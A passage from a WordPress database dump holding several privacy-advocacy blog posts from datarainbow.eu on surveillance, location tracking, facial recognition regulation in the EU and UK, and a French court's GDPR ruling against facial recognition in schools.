data is secure.</p><p>None of those claims hold up, based on the file we’ve obtained and our review of company practices.”</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/2019/12/20/opinion/privacy-surveillance-video.html?fbclid=IwAR0JJh_3GXGLE0Up9GRnK6c1PfKNcKszBMTfYAu7Z9IwomgT5yAs7pWMUqU\">You Should Be Freaking Out About Privacy - Nothing to hide, nothing to fear? Think again.</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/2019/12/22/us/politics/totok-app-uae.html\">It Seemed Like a Popular Chat App</a>. It’s Secretly a Spy Tool.&nbsp; - ToTok, an Emirati messaging app that has been downloaded to millions of phones, is the latest escalation of a digital arms race.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/12/21/opinion/location-data-democracy-protests.html?fbclid=IwAR2qtuwsGfd0J6JDfcRowToScxO4qMmFQdwsPDUT1RbNA5WzoVIHe0RVCqY\">How Your Phone Betrays Democracy&nbsp;-</a><br>Your phone is emitting a beacon, one that’s invisible to the human eye. This signal is captured and collected, sometimes many times per minute. For protesters, that means a spy that keeps broadcasting long after the protesters head to their homes and take off their masks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/12/21/opinion/location-data-privacy-rights.html?fbclid=IwAR3m0uQdTOcoIlpRE-EwBMQwgQfhdDVqSdA9BMi7n6HuuWdd9Hj6Mck2VE8\">Total Surveillance Is Not What America Signed Up For</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/12/21/opinion/pasadena-smartphone-spying.html?fbclid=IwAR2f12Wkq5VfP1A4LkgmWoJvPH8u5ieFNOCZK2ySHTPjSsJsasnE8oQV3gE\">Where Even the Children Are Being Tracked</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www-nytimes-com.cdn.ampproject.org/c/s/www.nytimes.com/2019/12/25/opinion/location-tracking-gifts.amp.html?fbclid=IwAR2VYeqa6xeWINXsa66dtu8-r5FG6Fug0anv-RNAuzSuDL8fnSJTscSDopk\">Giving the Gift of Surveillance</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www-nytimes-com.cdn.ampproject.org/c/s/www.nytimes.com/2019/12/24/opinion/location-privacy.amp.html?fbclid=IwAR05bmcfdXkZmgNjMEwcpTTezPOoDw3p6cYw9WHtHWDTzPFET8W_NbJJTYw\">Be Paranoid About Privacy</a>&nbsp;- We need to take back our privacy from tech companies — even if that means sacrificing convenience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are few of the most recent publications by the NYT. The Guardian and the Washington Post have also been raising awareness on privacy issues to read if you wondered <a href=\"https://www-washingtonpost-com.cdn.ampproject.org/c/s/www.washingtonpost.com/technology/2019/12/31/how-we-survive-surveillance-apocalypse/?outputType=amp&amp;fbclid=IwAR1HCmigJVvyq6bfiTv4dArQtHQ8PIHtqkRaduCN-LaoPrmCY6Zcms03UQ4\">How we Will Survive Surveillance Apocalypse</a>.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The UK Brexit will pause serious issues in the free flow of personal data as UK will become a country of non-adequate data protection. The direct consequence will be the need for Standard Contractual Clauses or Binding Corporate Rules and appointment of EU preventatives for UK organisations and non UK organisations that had opted for nomination of a representative in the UK. It is rather misleading to say that \"<a href=\"https://www.thetimes.co.uk/article/brussels-threat-to-block-city-trade-unless-uk-agrees-to-europes-rules-fpj75qq6m\">Brussels threat to block City trade unless UK agrees to Europe’s rules</a>\". the reality is the UK decision to leave with no deal. The actual consequences of the Brexit are still unknown and certainly more diplomatic than legal. We can only speculate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>2019 was the year of the EU Data Protection rules.<br>2020 “is expected to be a big year in federal privacy and data breach litigation.”! By Daniel R. Stoller, Esq.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. <a href=\"https://lnkd.in/eKyffgs﻿\">Facebook’s High Court Privacy Fights Lead 2020</a> Lawsuits to Watch, </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. <a href=\"https://lnkd.in/eCw3cpV﻿\">States Press Ahead With Privacy Laws Even as Congress Stalls</a>, </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. <a href=\"https://lnkd.in/ewyB-Kh﻿\">EU Privacy Watchdogs Urged to Probe Netflix, Amazon, Spotify.</a><a href=\"https://twitter.com/hashtag/FacialRecognition?src=hashtag_click\">#FacialRecognition</a> is inspiring a wave of <a href=\"https://twitter.com/hashtag/privacy?src=hashtag_click\">#privacy</a> fears as the software creeps into every corner of life in the US &amp; Europe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are few of the main privacy news of the year. The battle for privacy and Human dignity is ongoing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Picture shared with the kind permission of Professor Mark Lemley</p>\n<!-- /wp:paragraph -->','Privacy at a glance','','publish','closed','closed','','privacy-at-a-glance','','','2020-11-26 20:20:46','2020-11-26 20:20:46','',0,'http://datarainbow.eu/?p=508',0,'post','',0),(511,1,'2020-01-03 21:48:44','2020-01-03 21:48:44','<!-- wp:paragraph -->\n<p>Guest post by Kurt Brand, Executive IT Consultant and Interim CDO/CIO/CTO/CISO <br>If you want to do yourself a big favor, please invest a short moment of your precious time to watch this 12 minute New York Times video published on Dec 20, 2019, under the heading \"You should be freaking out about privacy\":&nbsp;<a rel=\"noreferrer noopener\" href=\"https://t1p.de/8pfe?fbclid=IwAR2mQDwX17ReKM0T8z6bu6Cg9V0jMRCNQoFviWCmp7TPaByMoiRqcLaTo2Y\" target=\"_blank\">https://t1p.de/8pfe</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The video explains i.a.:<br>▶︎&nbsp;How your&nbsp;<a href=\"https://www.facebook.com/hashtag/privacy?source=feed_text&amp;epa=HASHTAG\">#privacy</a>&nbsp;is invaded at an industrial scale 24/7 and 365 days/year ;<br>▶︎&nbsp;How your personal information is raided, traded and used against you in terrifying ways, while you are reading this posting ;<br>▶︎&nbsp;How advertising companies, intelligence services and criminals are able to combine small information pieces for building up complete profiles of you (\"digital twins\") ;<br>▶︎&nbsp;How advertising is used to predict and manipulate your individual mood and behavior by addressing your (sometimes even subconscious) weak spots&nbsp;;<br>▶︎&nbsp;How the combination of information from different sources can bring you into serious trouble - deliberately or accidentally ;<br>▶︎&nbsp;How you can be identified even within masses of people by analyzing videos from public&nbsp;<a href=\"https://www.facebook.com/hashtag/surveillance?source=feed_text&amp;epa=HASHTAG\">#surveillance</a>&nbsp;cameras utilizing AI-based face recognition and match this information with publicly available photos of you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: At the end of 2019, the USA FREEDOM Act (former USA PATRIOT Act), that provides the legal basis for government surveillance, was renewed again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How much of your private information are you really comfortable giving away? Where is your red line? Do you believe it\'s okay, if the entire population is being placed under general suspicion and under surveillance to identify and track a small minority of outlaws and criminals?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Imagine what today\'s surveillance technology in the hands of authoritarian regimes mean for civil rights activists, journalists or lawyers. Surveillance is a means of control and suppression.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The U.S. Constitution comprises no \"Right to Privacy\", even though some US-Americans believe they have such a right. As long as Tech companies spend tens of millions for lobbying the government, the likelihood for effective legislation for protecting citizen\'s privacy is close to zero.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We don\'t need to compromise privacy and liberty to achieve safety. We just need three iron rules :<br>▶︎&nbsp;Privacy is essential to democracy and liberty ;<br>▶︎&nbsp;Everyone should be given the ability to discover who is using his/her personal data and how ;<br>▶︎&nbsp;Our privacy is not something that can be traded in exchange for access to a \"free\" social media app or a smartphone.<br>�<br>Our freedom to think, speak and act, as we want, is key. A society of surveillance is just one step away from a society of submission.<br>From 1933 onwards, Germany was not only ruled by the most radical anti-Semites in history, but they brought about two decisive changes :<br>1. They intensified the latent anti-Semitism in the population, which had developed since the founder\'s crisis in 1873 through the influence of Otto Glagau, Wilhelm Marr or Gustav Freytag, by inciting the Jews as scapegoats<br>2. With the help of the Gestapo, SA and SS, they succeeded in intimidating and keeping the (much larger) passive-critical part of the population in check through a system of surveillance, denunciation and threat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Source and complementary readings :<br>▶︎&nbsp;\"How was Adolf Hitler possible?\" published on November 12, 2019, <a href=\"https://t1p.de/vujt\">in German:</a>&nbsp;&nbsp;(<a href=\"https://t1p.de/5dhc\">English translation</a>&nbsp;) ;<br>▶︎&nbsp;<a href=\"https://t1p.de/ypux\">\"How the U.S. government discredits the U.S. American IT industry\"</a> published on August 20, 2017&nbsp;(in<a href=\"https://t1p.de/89y3\"> German</a>&nbsp;) ;<br>▶︎&nbsp;\"<a href=\"https://t1p.de/inz5\">The spy in your pocket\"</a> published on April 25, 2017:&nbsp;(<a href=\"https://t1p.de/nhlr\">in German</a>) ;<br>▶︎&nbsp;<a href=\"https://t1p.de/2cc0﻿\">\"The digital disruption of warfare\"</a> published on June 11, 2017&nbsp;&nbsp;(only in English so far) ;<br>▶︎&nbsp;\"<a href=\"https://t1p.de/00q3﻿\">Digitalization strategy for countries</a>\" published on February 21, 2018:&nbsp;&nbsp;(<a href=\"https://t1p.de/g08k\">in German</a>) ;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With thanks to Kurt Brand.</p>\n<!-- /wp:paragraph -->','You Should be Freaking out About Privacy','If you want to do yourself a big favor, please invest a short moment of your precious time to watch this 12 minute New York Times video published on Dec 20, 2019, under the heading “You should be freaking out about privacy”','publish','closed','closed','','you-should-be-freaking-out-about-privacy','','','2021-07-31 23:28:04','2021-07-31 23:28:04','',0,'http://datarainbow.eu/?p=511',0,'post','',0),(532,1,'2020-01-17 19:39:05','2020-01-17 19:39:05','<!-- wp:heading -->\n<h2>and their threats to fundamental human rights and security</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Leaked EU documents were intercepted by Euractiv journalist Samuel Stolton who published and article <a href=\"https://www.euractiv.com/section/digital/news/leak-commission-considers-facial-recognition-ban-in-ai-white-paper/\" target=\"_blank\" rel=\"noreferrer noopener\">\"LEAK: Commission considers facial recognition ban in AI ‘white paper’.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The EU Commission white paper suggests a temporary ban of 3 to 5 years on facial recognition in public spaces. Reminding this could provoke a serious conflict between The <a rel=\"noreferrer noopener\" href=\"https://twitter.com/EU_Commission\" target=\"_blank\">EU_Commission</a> and certain member states  - such as <a rel=\"noreferrer noopener\" href=\"http://www.rfi.fr/en/france/20200108-government-wants-test-facial-recognition-video-surveillance-security-civil-liberties\" target=\"_blank\">France</a> and <a rel=\"noreferrer noopener\" href=\"https://www.euractiv.com/section/data-protection/news/german-ministers-plan-to-expand-automatic-facial-recognition-meets-fierce-criticism/\" target=\"_blank\">Germany </a>having already taken different positions. Read more about various <a href=\"https://www.pearltrees.com/t/facial-recognition/call-for-regulation/id39330333\" target=\"_blank\" rel=\"noreferrer noopener\">calls for regulation</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, the French CNIL published a document in November 2019 with an English version in December \"<a href=\"https://www.cnil.fr/en/facial-recognition-debate-living-challenges\" target=\"_blank\" rel=\"noreferrer noopener\">Facial recognition: for a debate living up to the challenges\"</a> calling for an in-depth political debate. The purpose of which should be \'to determine in which cases facial recognition is necessary in a democratic society, and in which cases it is not.\' Suggesting a <strong>balanced overview</strong> of the different biometrics existing technologies to assess the risks and determine which technologies are not acceptable in a democratic society and which ones can be assumed with appropriate safeguards. Within the framework of the GDPR, the CNIL has already had the opportunity to allow certain uses in principle, while regulating them in practical terms (border control at airports), and to refuse others (controlling student access in schools).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://edpb.europa.eu/news/national-news/2019/facial-recognition-school-renders-swedens-first-gdpr-fine_en\" target=\"_blank\" rel=\"noreferrer noopener\">Swedish data protection authority recently imposed a fine </a>on a school for testing <a href=\"https://www.pearltrees.com/t/facial-recognition/in-sweden/id39330651\">facial recognition technology to track its students’ attendance</a>. On the other hand, the <a href=\"https://iapp.org/news/a/swedish-dpa-authorizes-police-to-use-facial-recognition/\" target=\"_blank\" rel=\"noreferrer noopener\">Swedish DPA authorise the use of FR by police forces.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.forbes.com/sites/marisagarcia/2019/11/27/iberia-launches-facial-recognition-app-as-airline-industry-biometric-adoption-advances/amp/\" target=\"_blank\" rel=\"noreferrer noopener\">Iberia Launches Facial Recognition App As Airline Industry Biometric Adoption Advances</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>San Francisco recently became the first US city to <a href=\"https://www.theguardian.com/us-news/2019/may/14/san-francisco-facial-recognition-police-ban\" target=\"_blank\" rel=\"noreferrer noopener\">ban police and other agencies from using automated facial recognition</a>, following widespread condemnation of China’s use of the technology to impose <a href=\"https://www.theguardian.com/news/2019/apr/11/china-hi-tech-war-on-muslim-minority-xinjiang-uighurs-surveillance-face-recognition\" target=\"_blank\" rel=\"noreferrer noopener\">control over millions of Uighur Muslims</a> in the western region of Xinjiang. Somerville, Massachusetts, then <a href=\"https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance\" target=\"_blank\" rel=\"noreferrer noopener\">Oakland</a> have <a href=\"https://www.technologyreview.com/s/613536/facial-recognition-ban-san-francisco-surveillance-privacy-private-corporate-interests/\" target=\"_blank\" rel=\"noreferrer noopener\">banned government use of facial recognition</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the <a href=\"https://www.telegraph.co.uk/news/2019/10/07/london-council-used-facial-recognition-technology-streets-without/\" target=\"_blank\" rel=\"noreferrer noopener\">London council used facial recognition technology on streets without consulting residents,</a> the UK Information Commissioner\'s Office published its Opinion 2019/01 on the use of live facial recognition technology (LFR) by law enforcement in public places dated 31-10-2019. in summary :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(1) The use of LFR involves the processing of personal data and therefore #data protection law applies, whether it is for a trial or routine operational deployment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(2) The processing of personal data by ‘competent authorities’ for ‘the law enforcement purposes’ is covered by UK law.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(3) The use of LFR for the law enforcement purposes constitutes ‘sensitive processing’ as it involves the processing of biometric data for the purpose of uniquely identifying a data subject.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(4) Such sensitive processing relates to all facial images captured and analysed by the software. A data protection impact assessment and an ‘appropriate policy document’ must be in place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(5) Sensitive processing occurs irrespective of whether that image yields a match to a person on a watchlist or the biometric data of unmatched persons is subsequently deleted within a short space of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(6) Data protection law applies to the whole process of LFR, from consideration about the necessity and proportionality for deployment, the compilation of watchlists, the processing of the biometric data through to the retention and deletion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facial images are biometric data as: ‘relating to the physical, physiological or behavioural characteristics of a natural person, which allow or confirm the unique identification of that natural person’ (GDPR Art. 2(14)). The GDPR generally forbids the processing of biometric data for uniquely identifying purposes unless relying on one of the ten exemptions listed in Art. 9(2).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For such technology to be deployed, given that it relies on the large-scale processing of sensitive data, consent would need to be explicit as well as freely-given, informed and specific.&nbsp;Additionally, when deployed in public spaces, how anyone could opt out?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The UK ICO questioned how far should we, as a society, consent to police forces reducing our privacy in order to keep us safe? They found that \'the current combination of laws, codes and practices relating to LFR will not drive the ethical and legal approach that’s needed to truly manage the risk that this technology presents.\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Statement from Elizabeth Denham, Information Commissioner, on the use of live facial recognition technology in King\'s Cross, London : <em>“Scanning people’s faces as they lawfully go about their daily lives, in order to identify them, is a potential threat to privacy that should concern us all. That is especially the case if it is done without people’s knowledge or understanding. “I remain deeply concerned about the growing use of facial recognition technology in public spaces, not only by law enforcement agencies but also increasingly by the private sector. My office and the judiciary are both independently considering the legal issues and whether the current framework has kept pace with emerging technologies and people’s expectations about how their most sensitive personal data is used. “Facial recognition technology is a priority area for the ICO and when necessary, we will not hesitate to use our investigative and enforcement powers to protect people’s legal rights. “We have launched an investigation following concerns reported in the media regarding the use of live facial recognition in the King\'s Cross area of central London, which thousands of people pass through every day. “As well as requiring detailed information from the relevant organisations about how the technology is used, we will also inspect the system and its operation on-site to assess whether or not it complies with data protection law. “Put simply, any organisations wanting to use facial recognition technology must comply with the law - and they must do so in a fair, transparent and accountable way. They must have documented how and why they believe their use of the technology is legal, proportionate and justified. “We support keeping people safe but new technologies and new uses of sensitive personal data must always be balanced against people’s legal rights.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After the High Court ruled in September that the <a href=\"https://www.bbc.co.uk/news/uk-wales-50251643\" target=\"_blank\" rel=\"noreferrer noopener\">South Wales Police had acted lawfully when a shopper complained his human rights</a> were breached when he was photographed, civil rights group Liberty said it was akin to the unregulated taking of DNA or fingerprints without consent, and  is campaigning for an outright ban of the practice. <a href=\"https://www.theguardian.com/technology/2019/jun/07/facial-recognition-technology-liberty-says-england-wales-police-use-should-be-banned\" target=\"_blank\" rel=\"noreferrer noopener\">Facial Recognition is Arsenic in Water of Democracy </a>said Liberty. Martha Spurrier, a human rights lawyer, said the technology had such fundamental problems that, despite police enthusiasm for the equipment, its use on the streets should not be permitted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ms Denham said the use of facial recognition tools represents a \"step change\" in policing techniques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An investigation by commissioner Elizabeth Denham has raised \"serious concerns\" over use of the technology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ms Denham called on the government to introduce a statutory code of practice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Several <a href=\"https://www.bitsoffreedom.nl\" target=\"_blank\" rel=\"noreferrer noopener\">civil liberties </a>organisations<a href=\"https://www.bitsoffreedom.nl\">,</a> such as the <a href=\"https://www.eff.org/deeplinks/2019/12/year-fight-against-government-face-surveillance\" target=\"_blank\" rel=\"noreferrer noopener\">Electronic Frontier Foundation,</a><a href=\"https://epic.org/banfacesurveillance/\" target=\"_blank\" rel=\"noreferrer noopener\"> EPIC</a> or <a href=\"https://edri.org/facial-recognition-and-fundamental-rights-101/\" target=\"_blank\" rel=\"noreferrer noopener\">EDRI </a> have expressed concerns. As the CNIL pointed out, facial recognition has the potential to become a particularly ubiquitous and intrusive tool. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The use of FR in Hong Kong and London Kings Cross has been seen as <a href=\"https://www.dezeen.com/2019/10/09/facial-recognition-hong-kong-threat/\" target=\"_blank\" rel=\"noreferrer noopener\">\"a fundamental threat to society\"</a> says Owen Hopkins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The European Data Protection Supervisor, Wojciech Wiewiórowski, questioned: <a href=\"https://www.pearltrees.com/t/facial-recognition/call-for-regulation/id39330333#item446366630\">Facial recognition A solution in search of a problem?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Based on a probability rather than on the absolute certainty of a match between the faces being compared and the baseline \"template\". Variations in performance can therefore have far-reaching consequences for individuals who are mis-identified. Over-reliance on technology can result on serious mis-judgements. The lack of accuracy has serious consequences for individuals being falsely identified whether as criminals or otherwise. Its <a href=\"https://www.pearltrees.com/t/facial-recognition/low-accuracy/id39330401\">accuracy has been challenged</a> by several researchers.  They are serious potential <a href=\"https://www.kairos.com/blog/face-off-confronting-bias-in-face-recognition-ai\" target=\"_blank\" rel=\"noreferrer noopener\">dangers associated with current racial biases</a> in face recognition, and misidentification could lead to wrongful conviction, or far worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To resist against the rise of the intrusive technology, designers have created <a href=\"https://www.pearltrees.com/t/facial-recognition/escaping-frt/id49625120\">clothing and accessories that helps to conceal people\'s identities from A.I.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Whatever the EU decide or regulate, <a href=\"https://www.pearltrees.com/t/facial-recognition/in-china/id39330328\">the technology comes from China</a> or the US where <a href=\"https://threatpost.com/amazon-ring-facial-recognition-watch-list/150681/\">Amazon Plans Ring Facial Recognition-Based ‘Watch List’, Report</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/10/11/technology/flickr-facial-recognition.html\" target=\"_blank\" rel=\"noreferrer noopener\">This article </a>by the privacy expert journalist Kashmir Hill is thought provoking on the use of children\'s pictures posted by parents online on website such as Flickr. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a technology with many caveats and a major societal impacts. You are invited to read more <a href=\"https://www.pearltrees.com/t/facial-recognition/id17167432\" target=\"_blank\" rel=\"noreferrer noopener\">HERE</a> from various sources to make your own opinion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->','Facial Recognition technologies','Facial Recognition technology collect sensitive biometrics data, they are inacurate and put data at risk.','publish','closed','closed','','facial-recognition-technologies','','','2022-05-27 14:22:33','2022-05-27 14:22:33','',0,'http://datarainbow.eu/?p=532',0,'post','',0),(564,1,'2020-03-02 14:57:15','2020-03-02 14:57:15','<!-- wp:heading {\"level\":4} -->\n<h4><a href=\"https://ai-regulation.com/first-decision-ever-of-a-french-court-applying-gdpr-to-facial-recognition/\">FIRST EVER DECISION OF A FRENCH COURT APPLYING GDPR TO FACIAL RECOGNITION</a></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In a ruling on 27th of February, a French court canceled a decision by the South-Est Region of France (Provence-Alpes-Côte d’Azur – PACA) to undertake a series of tests using facial recognition at the entrance of two High schools considering that this would be illegal. This has been a well noticed decision  of the French Court applying the General Data Protection Regulation (GDPR) on Facial Recognition Technologies (FRTs).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A great win for « La Quadrature du Net », la Ligue des droits de l’Homme, parent association of state schools of Alpes-Maritimes et CGT Union Educ’Action of Alpes-Maritimes,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following previous recommendations by the <a href=\"https://www.cnil.fr/fr/reconnaissance-faciale-pour-un-debat-la-hauteur-des-enjeux\" target=\"_blank\" rel=\"noreferrer noopener\">CNIL</a>, the Administratif court ruled that the processing of biometric data are subject to strict conditions. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The local region of  Provence-Alpes-Côte d’Azur had set a tripartite agreement for a trial with schools and Cisco International Limited  to install<br>access control, facial recognition and tracking in three high schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Facial recognition data processing relate to biometrics, special category data under the General Data Protection Regulation. As such their processing is in principal prohibited. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9 lists the conditions for processing special category data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>(a) Explicit consent<br>(b) Employment, social security and social protection (if authorised by law)<br>(c) Vital interests<br>(d) Not-for-profit bodies<br>(e) Made public by the data subject<br>(f) Legal claims or judicial acts<br>(g) Reasons of substantial public interest (with a basis in law)<br>(h) Health or social care (with a basis in law)<br>(i) Public health (with a basis in law)<br>(j) Archiving, research and statistics (with a basis in law)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The municipality had based its ground of processing on student\'s consents and for minors, their parents\'s consent collected on a signed form. The court objected against the legality of this project based on the imbalance of power.   </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Article 9(2)(a) permits to process special category if:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“the data subject has given <strong>explicit consent</strong> to the processing of those personal data for one or more specified purposes”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to be valid, explicit consent must be <strong>freely given, specific, affirmative (opt-in) and unambiguous</strong>, and able to be withdrawn at any time. In practice, the extra requirements for consent to be ‘explicit’ are likely to be:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>explicit consent must be confirmed in a clear statement (whether oral or written), rather than by any other type of affirmative action;</li><li>it must specify the nature of the special category data; and</li><li>it should be separate from any other consents.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>It must be made sure that a <strong>genuine choice</strong> over whether and how you use their data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In particular, if consent is required as a condition of  access to services, or wherever there is a position of power over the individual,  such as a public authority or their employer, consent cannot be freely given and deemed to be invalid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a context of a consent required by a local authority from students, without allowing any alternative, knowing the imbalance of power, it is with no surprise that the Administratif court has invalidated the facial recognition monitoring in school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is unreasonable to believe ALL students, present and future, would freely consent to have their biometrics processed, without alternative. Additionally, are concerned all staff and visitors, including minors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Convinced by the imbalance of powers, the Court then argued the lack of proportionality, ruling the security aim could be reached in a less intrusive manner with student badges. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Following the <a href=\"https://www.bfmtv.com/tech/reconnaissance-faciale-dans-les-lycees-un-dispositif-juge-disproportionne-1795950.html\" target=\"_blank\" rel=\"noreferrer noopener\">CNIL</a> opinion, the court ruled that facial recognition is a disproportionate measure to manage the access to school, especially since alternative measures could reach the same result in a less intrusive manner. Student badges. are much less detrimental to rights exist to do this. On this subject,</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another case will be heard on Monday, March 2, 2020 at the Marseille administrative court. An appeal filed with the Ligue des Droits Humains against automated video surveillance (which identifies among other things \"suspicious behavior\" of  individuals on the public highway.<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have warned previously against <a href=\"https://datarainbow.eu/2020/01/17/facial-recognition-technologies/\" target=\"_blank\" rel=\"noreferrer noopener\">the issue of biometrics data processing in surveillance </a>and the inherent security issues of a <a href=\"https://edition.cnn.com/2020/02/10/tech/clearview-ai-ceo-hoan-ton-that/index.html\" target=\"_blank\" rel=\"noreferrer noopener\">data thirsty technology</a>. Every data base creates risks of data leak. Clearview data base has since revealed a major leak.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.buzzfeednews.com/article/ryanmac/clearview-ai-fbi-ice-global-law-enforcement\" target=\"_blank\" rel=\"noreferrer noopener\">Clearview’s Facial Recognition App Has Been Used By The Justice Department, ICE, Macy’s, Walmart, And The NBA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://news.bloomberglaw.com/privacy-and-data-security/clearview-ai-faces-california-illinois-lawsuit-after-breach\" target=\"_blank\" rel=\"noreferrer noopener\">Clearview AI Faces California, Illinois Lawsuit After Breach (1).</a> The question will remain how to monetise the compensation resulting from the harm caused by the loss of control over something as unique as biometrics. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\'Clearview AI, a <a href=\"https://www.cnet.com/news/clearview-app-lets-strangers-find-your-name-info-with-snap-of-a-photo-report-says/\" target=\"_blank\" rel=\"noreferrer noopener\">controversial facial recognition app</a> being used by US law enforcement to identify suspects and other people, is facing <a href=\"https://www.cnet.com/news/clearview-ai-faces-lawsuit-following-facial-recognition-privacy-concerns/\" target=\"_blank\" rel=\"noreferrer noopener\">another lawsuit</a>. The new suit, filed Thursday, seeks class-action status and $5 million in damages for what it calls <a rel=\"noreferrer noopener\" href=\"https://twitter.com/RMac18/status/1228097214578225153\" target=\"_blank\">willful, reckless or negligent violations of biometrics laws in Illinois by Clearview</a> and CDW.\'  in <a 